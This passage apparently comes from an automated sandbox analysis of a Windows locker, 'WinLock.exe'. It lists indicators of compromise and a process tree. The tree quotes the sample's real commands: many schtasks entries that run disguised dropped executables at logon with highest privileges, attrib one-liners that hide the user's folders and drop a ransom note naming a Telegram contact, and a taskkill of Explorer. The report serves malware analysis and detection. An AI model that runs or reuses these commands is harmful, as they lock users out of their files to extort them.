6072	cmd.exe
5840	cmd.exe
2124	cmd.exe
2744	cmd.exe
3404	cmd.exe
3916	cmd.exe
5608	cmd.exe
4312	cmd.exe
2620	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5200	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4264	schtasks.exe
3312	schtasks.exe
2840	schtasks.exe
5632	schtasks.exe
1484	Process not Found
3472	schtasks.exe
3472	schtasks.exe
1796	schtasks.exe
4328	Process not Found
5116	schtasks.exe
3296	schtasks.exe
3104	schtasks.exe
2024	schtasks.exe
4876	schtasks.exe
800	schtasks.exe
5928	schtasks.exe
3472	schtasks.exe
5288	schtasks.exe
2352	Process not Found
700	Process not Found
1696	schtasks.exe
3740	schtasks.exe
5076	schtasks.exe
1968	Process not Found
2812	Process not Found
3416	schtasks.exe
4304	schtasks.exe
2680	schtasks.exe
5156	schtasks.exe
1428	Process not Found
4176	schtasks.exe
4860	schtasks.exe
5748	schtasks.exe
5168	schtasks.exe
5472	Process not Found
6084	Process not Found
1456	schtasks.exe
1720	schtasks.exe
3740	schtasks.exe
1996	Process not Found
6080	schtasks.exe
5168	schtasks.exe
3160	schtasks.exe
4700	schtasks.exe
4444	Process not Found
2160	schtasks.exe
2572	schtasks.exe
5012	schtasks.exe
3016	schtasks.exe
4544	schtasks.exe
2440	Process not Found
3588	schtasks.exe
4312	schtasks.exe
2052	schtasks.exe
4620	schtasks.exe
5668	schtasks.exe
2272	schtasks.exe
4816	schtasks.exe
4776	schtasks.exe
4396	schtasks.exe
2316	schtasks.exe
3252	schtasks.exe
3824	schtasks.exe
1288	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe
1052	WinLock.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1052	WinLock.exe
Token: SeDebugPrivilege	5200	taskkill.exe
Token: SeDebugPrivilege	5716	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1052	WinLock.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1052 wrote to memory of 1072	1052	WinLock.exe	101
PID 1052 wrote to memory of 1800	1052	WinLock.exe	102
PID 1052 wrote to memory of 4688	1052	WinLock.exe	103
PID 1052 wrote to memory of 4540	1052	WinLock.exe	104
PID 1052 wrote to memory of 1308	1052	WinLock.exe	105
PID 1052 wrote to memory of 4896	1052	WinLock.exe	106
PID 1052 wrote to memory of 1704	1052	WinLock.exe	109
PID 1052 wrote to memory of 712	1052	WinLock.exe	110
PID 1052 wrote to memory of 1668	1052	WinLock.exe	113
PID 1052 wrote to memory of 4416	1052	WinLock.exe	114
PID 1052 wrote to memory of 5192	1052	WinLock.exe	115
PID 1052 wrote to memory of 3244	1052	WinLock.exe	116
PID 1052 wrote to memory of 3272	1052	WinLock.exe	117
PID 1052 wrote to memory of 2384	1052	WinLock.exe	118
PID 1052 wrote to memory of 5200	1052	WinLock.exe	128
PID 4540 wrote to memory of 1304	4540	cmd.exe	140
PID 1308 wrote to memory of 1248	1308	cmd.exe	141
PID 1072 wrote to memory of 4876	1072	cmd.exe	142
PID 1052 wrote to memory of 4576	1052	WinLock.exe	143
PID 1052 wrote to memory of 5392	1052	WinLock.exe	144
PID 1052 wrote to memory of 5616	1052	WinLock.exe	145
PID 1052 wrote to memory of 1980	1052	WinLock.exe	146
PID 5192 wrote to memory of 2388	5192	cmd.exe	147
PID 1052 wrote to memory of 4944	1052	WinLock.exe	149
PID 1052 wrote to memory of 2720	1052	WinLock.exe	150
PID 2384 wrote to memory of 852	2384	cmd.exe	148
PID 1052 wrote to memory of 2480	1052	WinLock.exe	151
PID 1052 wrote to memory of 2604	1052	WinLock.exe	152
PID 4688 wrote to memory of 4764	4688	cmd.exe	153
PID 1800 wrote to memory of 4640	1800	cmd.exe	154
PID 712 wrote to memory of 2576	712	cmd.exe	155
PID 4416 wrote to memory of 4632	4416	cmd.exe	156
PID 4896 wrote to memory of 5700	4896	cmd.exe	157
PID 1668 wrote to memory of 4260	1668	cmd.exe	160
PID 1704 wrote to memory of 3204	1704	cmd.exe	239
PID 1052 wrote to memory of 5804	1052	WinLock.exe	168
PID 3272 wrote to memory of 860	3272	cmd.exe	169
PID 3244 wrote to memory of 3740	3244	cmd.exe	170
PID 4416 wrote to memory of 4116	4416	cmd.exe	176
PID 2604 wrote to memory of 2316	2604	cmd.exe	177
PID 5616 wrote to memory of 4396	5616	cmd.exe	178
PID 2480 wrote to memory of 3968	2480	cmd.exe	179
PID 2720 wrote to memory of 2160	2720	cmd.exe	180
PID 4944 wrote to memory of 5748	4944	cmd.exe	181
PID 5392 wrote to memory of 2508	5392	cmd.exe	182
PID 4576 wrote to memory of 1720	4576	cmd.exe	183
PID 1980 wrote to memory of 5764	1980	cmd.exe	184
PID 5192 wrote to memory of 4904	5192	cmd.exe	185
PID 2384 wrote to memory of 2448	2384	cmd.exe	242
PID 1668 wrote to memory of 2472	1668	cmd.exe	271
PID 3244 wrote to memory of 5016	3244	cmd.exe	192
PID 3272 wrote to memory of 3044	3272	cmd.exe	193
PID 1052 wrote to memory of 616	1052	WinLock.exe	194
PID 616 wrote to memory of 5008	616	cmd.exe	196
PID 1052 wrote to memory of 6140	1052	WinLock.exe	197
PID 1052 wrote to memory of 5952	1052	WinLock.exe	198
PID 1052 wrote to memory of 5760	1052	WinLock.exe	199
PID 1052 wrote to memory of 1940	1052	WinLock.exe	200
PID 1052 wrote to memory of 5624	1052	WinLock.exe	201
PID 1052 wrote to memory of 5852	1052	WinLock.exe	202
PID 1052 wrote to memory of 5104	1052	WinLock.exe	203
PID 1052 wrote to memory of 2332	1052	WinLock.exe	211
PID 6140 wrote to memory of 4644	6140	cmd.exe	212
PID 1940 wrote to memory of 6052	1940	cmd.exe	297

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2448	attrib.exe
3044	attrib.exe
3740	attrib.exe
4904	attrib.exe
2472	attrib.exe
5016	attrib.exe
4632	attrib.exe
852	attrib.exe
4260	attrib.exe
2388	attrib.exe
860	attrib.exe
4116	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mobsync_1" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\mobsync.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mobsync_1" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\mobsync.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_4" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_4" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mtstocom_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mtstocom.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mtstocom_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mtstocom.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Register-CimProvider_7" /tr ""C:\ProgramData\MicrosoftService\Register-CimProvider.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Register-CimProvider_7" /tr ""C:\ProgramData\MicrosoftService\Register-CimProvider.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2576
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4260
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2472
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4416
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4632
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4116
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5192
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2388
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4904
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3740
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:860
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:852
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2448
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_powercfg_1" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\powercfg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Power Settings
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_powercfg_1" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\powercfg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1720
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CloudNotifications_3" /tr ""C:\ProgramData\Packages\Logs\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CloudNotifications_3" /tr ""C:\ProgramData\Packages\Logs\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4396
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_credwiz_7" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\credwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_credwiz_7" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\credwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2316
- C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\powercfg.exe
  "C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\powercfg.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  - Power Settings
  PID:5804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4644
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesPerformance_3" /tr ""C:\ProgramData\MicrosoftService\SystemPropertiesPerformance.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5952
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesPerformance_3" /tr ""C:\ProgramData\MicrosoftService\SystemPropertiesPerformance.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ComputerDefaults_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ComputerDefaults_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\ComputerDefaults.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5852
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3588
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2968
- C:\Users\Admin\AppData\Roaming\Sun\Logs\Netplwiz.exe
  "C:\Users\Admin\AppData\Roaming\Sun\Logs\Netplwiz.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2332
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\recover.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_recover_5" /tr ""C:\Users\Admin\AppData\Roaming\EditExport\Logs\recover.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5652
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_bitsadmin_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\bitsadmin.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4676
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_bitsadmin_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\bitsadmin.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_isoburn_7" /tr ""C:\ProgramData\MicrosoftService\isoburn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_isoburn_7" /tr ""C:\ProgramData\MicrosoftService\isoburn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2448
- C:\Windows\SysWOW64\cmd.exe
